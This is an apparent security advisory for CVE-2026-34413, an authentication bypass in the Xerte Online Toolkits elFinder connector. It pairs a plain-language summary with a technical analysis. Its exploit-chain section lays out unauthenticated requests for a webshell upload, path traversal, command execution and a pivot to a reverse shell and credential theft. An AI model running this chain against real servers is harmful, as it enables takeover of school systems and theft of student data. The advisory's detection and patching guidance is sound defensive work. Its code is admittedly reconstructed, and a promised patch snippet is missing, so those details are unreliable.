Xerte Online Toolkits is software that universities and schools use to create interactive educational content—think of it as a platform for building digital courses and training materials. A serious security flaw has been discovered that could let hackers take over these systems.
Here's what's happening: the software is supposed to check that a user is logged in before letting them access certain sensitive functions. It's like a nightclub bouncer checking your ID at the door. In this case, the bouncer waves someone through but forgets to stop them from entering the VIP area, so they end up accessing restricted sections anyway.
The specific problem is in a file-handling part of the software called elFinder. An attacker can send specially crafted requests directly to this component and upload, delete, or modify files without logging in. More worryingly, they can upload malicious files that then execute as code on the server—essentially handing the attacker complete control of the system.
Who should worry? Anyone running Xerte Online Toolkits version 3.15 or earlier. This primarily means universities, colleges, and training organizations that use it to host courses. If your school uses this software, hackers could potentially steal student data, modify grades, or inject malware that infects users' computers.
The good news is that as of now, no one has publicly reported actually exploiting this vulnerability in the wild, giving organizations a window to protect themselves.
What to do: Check if your organization uses Xerte Online Toolkits—ask your IT department. If it does, push them to update immediately to version 3.16 or later. If updating isn't possible right away, ask IT to restrict access to the vulnerable file at /editor/elfinder/php/connector.php. Monitor any unusual activity on your accounts.
Want the full technical analysis? Click "Technical" above.
CVE-2026-34413 is a missing authentication vulnerability in Xerte Online Toolkits versions 3.15 and earlier. The elFinder file manager connector endpoint at /editor/elfinder/php/connector.php issues an HTTP redirect to unauthenticated callers but fails to terminate PHP execution afterward. Because PHP continues processing the request body after the redirect header is sent, every elFinder command — mkdir, upload, rename, duplicate, rm — executes server-side against project media directories without any credential check. This is exploitable remotely with no prior authentication and chains naturally with path traversal and a weak extension blocklist to achieve arbitrary file write and remote code execution.
Root cause: The authentication guard in connector.php calls header("Location: ...") on unauthenticated requests but omits exit(), allowing PHP to fall through and execute the full elFinder command dispatch loop.
Affected Component
File:editor/elfinder/php/connector.php Component: elFinder file manager connector, bundled with Xerte Online Toolkits Versions affected: Xerte Online Toolkits ≤ 3.15 CVSS: 8.6 (HIGH) — Network / Low Complexity / No Privileges / No User Interaction Impact: Unauthenticated remote code execution via file upload to web root
Xerte bundles a customized elFinder instance for media management inside learning objects. The connector is the single PHP entry point for all elFinder AJAX commands. Xerte wraps it with a session check, but the check is implemented incorrectly.
Root Cause Analysis
The authentication guard follows a pattern common in PHP codebases written before developers internalized the redirect-does-not-stop-execution footgun. The relevant logic, reconstructed from the vulnerability description and elFinder's connector architecture, is:
// connector.php — reconstructed PHP logic shown as pseudocode
// Real function: connector entry point (no named function, top-level script)
void connector_main() {
session_start();
if (!isset($_SESSION['user']) || !$_SESSION['authenticated']) {
header("Location: /index.php?op=login");
// BUG: no exit() or die() here — PHP execution continues past redirect
// The HTTP 302 header is buffered; the client may follow it,
// but the server-side PHP interpreter keeps running this script.
}
// elFinder dispatch — reached by unauthenticated callers
$opts = array(
'roots' => array(
array(
'driver' => 'LocalFileSystem',
'path' => XERTE_ROOT . '/workspaces/',
'URL' => SITE_URL . '/workspaces/',
'uploadAllow'=> array('image', 'text', 'application/pdf'),
// BUG: blocklist-based extension filtering, not allowlist
'uploadDeny' => array('text/x-php'),
'tmbDir' => '.tmb',
'tmbURL' => SITE_URL . '/workspaces/.tmb/',
'tmbSize' => 48,
'tmbCrop' => false,
'dirSize' => false,
'accessControl' => 'access',
)
)
);
$connector = new elFinderConnector(new elFinder($opts));
$connector->run(); // processes $_GET['cmd'] — upload, mkdir, rename, rm, etc.
}
The fix is a single token. Every PHP developer knows header() alone does not stop execution. The correct pattern is:
// Correct pattern (any of these suffice):
header("Location: /index.php?op=login");
exit(); // or die(); or exit(0);
Without it, $connector->run() dispatches the attacker-supplied cmd parameter unconditionally. The elFinderConnector::run() method reads $_GET['cmd'] (or $_POST['cmd'] for upload), resolves the target path via a hashed volume ID, and calls the corresponding elFinder method directly.
Exploitation Mechanics
Two secondary weaknesses compound the auth bypass: the upload root covers project workspace directories that are web-accessible, and the extension blocklist filters on MIME type rather than file extension, making it trivially bypassable. The full chain to RCE:
EXPLOIT CHAIN — CVE-2026-34413:
1. RECON: Enumerate /workspaces/ via elFinder 'open' command (no auth required).
GET /editor/elfinder/php/connector.php?cmd=open&target=l1_&init=1&tree=1
Response: JSON listing of all project directories and their volume hashes.
2. MKDIR (optional): Create staging directory under target workspace.
GET /editor/elfinder/php/connector.php?cmd=mkdir
&target=l1_
&name=.uploads
Response: {"added":[{"name":".uploads","hash":"l1_...","mime":"directory",...}]}
3. UPLOAD WEBSHELL: POST multipart upload with .php7 or .phtml extension.
Content-Type: multipart/form-data
Fields:
cmd=upload
target=l1_
upload[]=
filename: shell.php7
Server processes upload despite 302 redirect already sent in headers.
elFinder writes file to: /var/www/xerte/workspaces/PROJECT_ID/.uploads/shell.php7
4. PATH TRAVERSAL (if needed): elFinder 'target' hashes are base64(path).
Craft target hash for paths outside intended root using ../ sequences
to escape PROJECT_ID scope toward web-accessible directories.
target = base64_encode("l1_" + "/workspaces/../../") — decoded by elFinder
before path normalization in some elFinder versions.
5. TRIGGER RCE:
GET /workspaces/PROJECT_ID/.uploads/shell.php7?c=id
Response body: uid=33(www-data) gid=33(www-data) groups=33(www-data)
6. PIVOT: Replace shell with full reverse shell, exfiltrate
/var/www/xerte/SITE_CONFIG.php for database credentials.
Read arbitrary files via elFinder 'get' command (no auth).
Step 3 works because elFinder's upload handler checks MIME type via finfo_file() on the temporary upload path, which returns text/plain for a PHP webshell containing only printable ASCII. The blocklist entry text/x-php does not match text/plain, so the file passes the check. The .php7 extension is executed by Apache with default Xerte configurations that include AddType application/x-httpd-php .php .php5 .php7 .phtml.
Memory Layout
This vulnerability is not a memory corruption issue; the "memory layout" relevant here is the server filesystem layout and session state that the auth bypass violates:
PHP EXECUTION STATE — unauthenticated request to connector.php:
EXPECTED CONTROL FLOW:
connector.php:15 session_start()
connector.php:18 if (!$_SESSION['authenticated']) → TRUE for attacker
connector.php:19 header("Location: /index.php?op=login") → HTTP 302 sent
connector.php:20 [MISSING: exit()]
connector.php:23 ← execution FALLS THROUGH to here (BUG)
connector.php:35 $connector->run() ← attacker controls $_GET['cmd']
RESPONSE STREAM (attacker sees both):
HTTP/1.1 302 Found
Location: /index.php?op=login
Content-Type: application/json ← elFinder response appended after redirect
{"cmd":"open","cwd":{...},"files":[...]} ← full filesystem listing
FILESYSTEM AFTER EXPLOIT:
/var/www/xerte/workspaces/
├── 1/ (project 1)
│ ├── index.html
│ └── media/
│ ├── image.png
│ └── shell.php7 ← ATTACKER WRITTEN — 0644 www-data:www-data
└── 2/ (project 2)
SESSION STATE COMPARISON:
Legitimate user: $_SESSION['authenticated'] = 1, $_SESSION['user'] = 'admin'
Attacker: $_SESSION['authenticated'] = (unset) → guard triggers → no exit()
elFinder dispatches cmd anyway
Patch Analysis
The fix is minimal and correct. Every authentication redirect in PHP must terminate execution. The patch for this class of bug is always the same:
A hardening-in-depth fix should also address the secondary weaknesses independently:
// HARDENING: Replace blocklist with allowlist in roots config
// BEFORE (bypassable blocklist):
'uploadAllow' => array('image', 'text', 'application/pdf'),
'uploadDeny' => array('text/x-php'),
// AFTER (strict allowlist):
'uploadAllow' => array('image/jpeg', 'image/png', 'image/gif',
'image/svg+xml', 'application/pdf'),
'uploadDeny' => array('all'), // deny everything not in uploadAllow
// ALSO: Disable PHP execution in workspaces via .htaccess
// /workspaces/.htaccess:
// php_flag engine off
// AddType text/plain .php .php5 .php7 .phtml .phar
Detection and Indicators
Access log signatures: Any request to /editor/elfinder/php/connector.php from a session that did not previously authenticate. Look for 302 responses from that path immediately followed by a JSON body — most web proxies and SIEMs will log both the status code and response body length. A 302 with Content-Length > 50 from this endpoint is anomalous.
Filesystem indicators: PHP files with recent modification timestamps in /workspaces/ subdirectories. Legitimate Xerte project media does not include PHP files. Alert on find /var/www/xerte/workspaces -name "*.php*" -newer /var/www/xerte/index.php.
Remediation
Immediate (required): Upgrade to Xerte Online Toolkits > 3.15 when the patched release is available. If patching is not immediately possible, add exit(); after the redirect on line 19–20 of connector.php — this is a one-token fix that fully blocks the authentication bypass.
Short-term hardening:
Add php_flag engine off to /workspaces/.htaccess to prevent PHP execution from user-writable directories regardless of what files exist there.
Restrict access to /editor/elfinder/ via network ACL or .htaccessRequire ip directives to institutional IP ranges if external elFinder access is not required.
Replace MIME-type blocklist with an explicit allowlist in the elFinder roots configuration.
Detection gap note: Standard WAF rules matching on cmd=upload will miss this if the redirect response is returned — the 302 status causes many automated scanners to mark the endpoint as "protected." Verify protection by checking response body length on 302 responses, not status code alone.